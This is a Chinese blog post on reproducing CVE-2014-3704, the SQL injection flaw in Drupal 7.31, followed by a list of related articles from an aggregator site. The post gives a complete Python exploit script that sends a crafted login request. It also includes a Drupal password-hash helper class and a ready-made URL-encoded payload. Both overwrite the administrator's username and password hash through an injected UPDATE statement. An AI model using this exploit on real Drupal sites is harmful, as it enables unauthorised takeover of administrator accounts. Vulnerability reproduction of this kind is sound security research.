[CVE-2014-3704]Drupal 7.31 SQL注入漏洞分析与复现

不是很新的漏洞,记录下自己的复现思路

漏洞影响:

Drupal 7.31

Drupal是一个开源内容管理平台,为数百万个网站和应用程序提供支持。

它是由世界各地积极和多样化的社区建立,使用和支持的。

0x01漏洞复现

复现环境:

1) Apache2.4

2) Php 7.0

3) drupal 7.31 https://www.drupal.org/drupal-7.31-release-notes(点击下载)

环境打包在目录下安装即可

中间遇到的问题:

解决方法:关闭extersion=php_mbstring.dll(修改前注意备份原来的)

Exploit:

  

原先管理员帐号:root 密码:rootxxxx

import urllib2,sys
from drupalpass import DrupalHash
host = sys.argv[1]
user = sys.argv[2]
password = sys.argv[3]
if len(sys.argv) != 3:
    print "host username password"
    print "http://nope.io admin wowsecure"
hash = DrupalHash("$S$CTo9G7Lx28rzCfpn4WB2hUlknDKv6QTqHaf82WLbhPT2K5TzKzML", password).get_hash()
target = ‘%s/?q=node&destination=node‘ % host
post_data = "name[0%20;update+users+set+name%3d\‘"             +user             +"‘+,+pass+%3d+‘"             +hash[:55]             +"‘+where+uid+%3d+\‘1\‘;;#%20%20]=bob&name[0]=larry&pass=lol&form_build_id=&form_id=user_login_block&op=Log+in"
content = urllib2.urlopen(url=target, data=post_data).read()
if "mb_strlen() expects parameter 1" in content:
        print "Success!\nLogin now with user:%s and pass:%s" % (user, password)
import hashlib

# Calculate a non-truncated Drupal 7 compatible password hash.
# The consumer of these hashes must truncate correctly.

class DrupalHash:

  def __init__(self, stored_hash, password):
    self.itoa64 = ‘./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz‘
    self.last_hash = self.rehash(stored_hash, password)

  def get_hash(self):
    return self.last_hash

  def password_get_count_log2(self, setting):
    return self.itoa64.index(setting[3])

  def password_crypt(self, algo, password, setting):
    setting = setting[0:12]
    if setting[0] != ‘$‘ or setting[2] != ‘$‘:
      return False

    count_log2 = self.password_get_count_log2(setting)
    salt = setting[4:12]
    if len(salt) < 8:
      return False
    count = 1 << count_log2

    if algo == ‘md5‘:
      hash_func = hashlib.md5
    elif algo == ‘sha512‘:
      hash_func = hashlib.sha512
    else:
      return False
    hash_str = hash_func(salt + password).digest()
    for c in range(count):
      hash_str = hash_func(hash_str + password).digest()
    output = setting + self.custom64(hash_str)
    return output

  def custom64(self, string, count = 0):
    if count == 0:
      count = len(string)
    output = ‘‘
    i = 0
    itoa64 = self.itoa64
    while 1:
      value = ord(string[i])
      i += 1
      output += itoa64[value & 0x3f]
      if i < count:
        value |= ord(string[i]) << 8
      output += itoa64[(value >> 6) & 0x3f]
      if i >= count:
        break
      i += 1
      if i < count:
        value |= ord(string[i]) << 16
      output += itoa64[(value >> 12) & 0x3f]
      if i >= count:
        break
      i += 1
      output += itoa64[(value >> 18) & 0x3f]
      if i >= count:
        break
    return output

  def rehash(self, stored_hash, password):
    # Drupal 6 compatibility
    if len(stored_hash) == 32 and stored_hash.find(‘$‘) == -1:
      return hashlib.md5(password).hexdigest()
      # Drupal 7
    if stored_hash[0:2] == ‘U$‘:
      stored_hash = stored_hash[1:]
      password = hashlib.md5(password).hexdigest()
    hash_type = stored_hash[0:3]
    if hash_type == ‘$S$‘:
      hash_str = self.password_crypt(‘sha512‘, password, stored_hash)
    elif hash_type == ‘$H$‘ or hash_type == ‘$P$‘:
      hash_str = self.password_crypt(‘md5‘, password, stored_hash)
    else:
      hash_str = False
    return hash_str

我这里编译不成功

http://127.0.0.1/drupal-7.31/node?destination=node

点击 login  这里post修改查询语句,插入update的sql语句直接更改管理员帐号密码。

这里的加密方式调用官方的password-hash.sh 去生成自己的hash

这里报错了。

找了两个网上的公开的hash去update 。

$S$DkIkdKLIvRK0iVHm99X7B/M8QC17E1Tp/kMOd1Ie8V/PgWjtAZld   ---->thanks

$S$CTo9G7Lx2mJrSyWmlh3NRTXL6AWJt35fzep9obyjkwezMHOgQf.s    --->[email protected]

Payload:

name[0%20;update+users+set+name%3d‘owned‘+,+pass+%3d+‘$S$CTo9G7Lx2mJrSyWmlh3NRTXL6AWJt35fzep9obyjkwezMHOgQf.s‘+where+uid+%3d+‘1‘;;#%20%20]=test3&name[0]=test&pass=shit2&test2=test&form_build_id=&form_id=user_login_block&op=Log+in

  

直接update用户:owned 密码:[email protected]

从数据库查询回来的结果或者mysql的监控可以看到,管理员的用户名和密码都被重置。owned用户提升为管理员,并且密码设为[email protected]。

ref:

  • http://0day5.com/archives/2310/
  • http://www.freebuf.com/vuls/47690.html
时间: 2024-10-27 08:23:42

[CVE-2014-3704]Drupal 7.31 SQL注入漏洞分析与复现的相关文章

Drupal 7.31 SQL注入漏洞利用具体解释及EXP

 有意迟几天放出来这篇文章以及程序,只是看样子Drupal的这个洞没有引起多少重视,所以我也没有必要按着不发了,只是说实话这个洞威力挺大的.当然.这也是Drupal本身没有意料到的. 0x00 首先.这个漏洞真的非常大.并且Drupal用的也比較多.应该能够扫出非常多漏洞主机,可是做批量可能会对对方站点造成非常大的损失.所以我也就仅仅是写个Exp.只是.这个洞好像不怎么被重视.这也是极为不合适. 0x01 关于漏洞的原理和POC在我的博客上已经有文章进行解释.这里仅仅是着重说一下利用过程.配

Drupal 7.31 SQL注入漏洞利用详解及EXP

 有意迟几天放出来这篇文章以及程序,不过看样子Drupal的这个洞没有引起多少重视,所以我也没有必要按着不发了,不过说实话这个洞威力挺大的,当然,这也是Drupal本身没有意料到的. 0x00 首先,这个漏洞真的很大,而且Drupal用的也比较多,应该可以扫出很多漏洞主机,但是做批量可能会对对方网站造成很大的损失,所以我也就只是写个Exp.不过,这个洞好像不怎么被重视,这也是极为不合适. 0x01 关于漏洞的原理和POC在我的博客上已经有文章进行解释,这里只是着重说一下利用过程.配合POC的

PHPCMS \phpcms\modules\member\index.php 用户登陆SQL注入漏洞分析

catalog 1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考 1. 漏洞描述2. 漏洞触发条件 0x1: POC http://localhost/phpcms_v9/index.php?m=member&c=index&a=login dosubmit=1&username=phpcms&password=123456%26username%3d%2527%2bunion%2bselect%2b%25272%2

JDBC的SQL注入漏洞分析和解决

1.1.1 SQL注入漏洞分析 1.1.2 SQL注入漏洞解决 需要采用PreparedStatement对象解决SQL注入漏洞.这个对象将SQL预先进行编译,使用?作为占位符.?所代表内容是SQL所固定.再次传入变量(包含SQL的关键字).这个时候也不会识别这些关键字. public class UserDao { ????????? ????????public boolean login(String username,String password){ ????????????????C

Discuz!7.2 faq.php文件SQL注入漏洞分析及利用实战

[antian365.com] simeon 最近网上公开了Discuz!7.2版本faq.php文件SQL注入0day,通过对文件漏洞分析以及实战测试,效果不错,公开利用exp的利用需要对SQL语句以及数据库等相当了解,在某些情况下需要多种技术配合才能最终攻克目标,下面就漏洞代码以及实战利用等进行探讨,对获取管理员密码的利用,uc_key获取webshell,插件导入获取Webshell等进行探讨. 1. faq.php文件SQL注入漏洞代码分析 本次存在漏洞的文件为faq.php,打开该文件

phpyun人才管理系统V5.0 SQL注入漏洞分析

*世界上最愚蠢的事莫过于我们无比狂热地做一件事,到最后却不知道为什么要做* cms背景介绍 PHP云人才管理系统(phpyun)是国内主流人才管理CMS系统之一!PHP云专为中文用户设计和开发,采用:B/S+c/s技术框架,程序源代码100%完全开放!基于PHP 和 MySQL 数据库构建的为核心开发. 漏洞类型 前台SQL盲注 漏洞描述 Phpyun最新版本V5.0中,在用户邮箱认证处,存在SQL延时注入.其未对 base64解密后的email参数进行任何过滤,从而导致漏洞产生. 漏洞产生链分

如何使用PDO查询Mysql来避免SQL注入风险?ThinkPHP 3.1中的SQL注入漏洞分析!

当我们使用传统的 mysql_connect .mysql_query方法来连接查询数据库时,如果过滤不严,就有SQL注入风险,导致网站被攻击,失去控制.虽然可以用mysql_real_escape_string()函数过滤用户提交的值,但是也有缺陷.而使用PHP的PDO扩展的 prepare 方法,就可以避免 sql injection 风险. PDO(PHP Data Object) 是PHP5新加入的一个重大功能,因为在PHP 5以前的php4/php3都是一堆的数据库扩展来跟各个数据库的

Drupal 7.31 SQL注入分析及POC

这个漏洞昨天爆出的 ,今天才有时间看代码. 在Drupal中,执行sql语句都是使用PDO模型进行的,这样做一般来说是可以规避大多数的注入,因为占位符的使用对sql语句的语法进行了限制. 但是这也不意味着绝对的安全,比如这次的漏洞. 在Drupal的user模块中,找到user.module: $account = db_query("SELECT * FROM {users} WHERE name = :name AND status = 1", array(':name' =>

[CVE-2017-5487] WordPress &lt;=4.7.1 REST API 内容注入漏洞分析与复现

不是很新的漏洞,记录下自己的工作任务 漏洞影响: 未授权获取发布过文章的其他用户的用户名.id 触发前提:wordpress配置REST API 影响版本:<= 4.7 0x01漏洞复现 复现环境: 1) Apache2.4   2) PHP 7.0   3) wordPress 4.7.1 https://wordpress.org/wordpress-4.7.1.tar.gz)并安装 (点击下载) 确认 Httpd-conf  Allowover All Exploit: https://w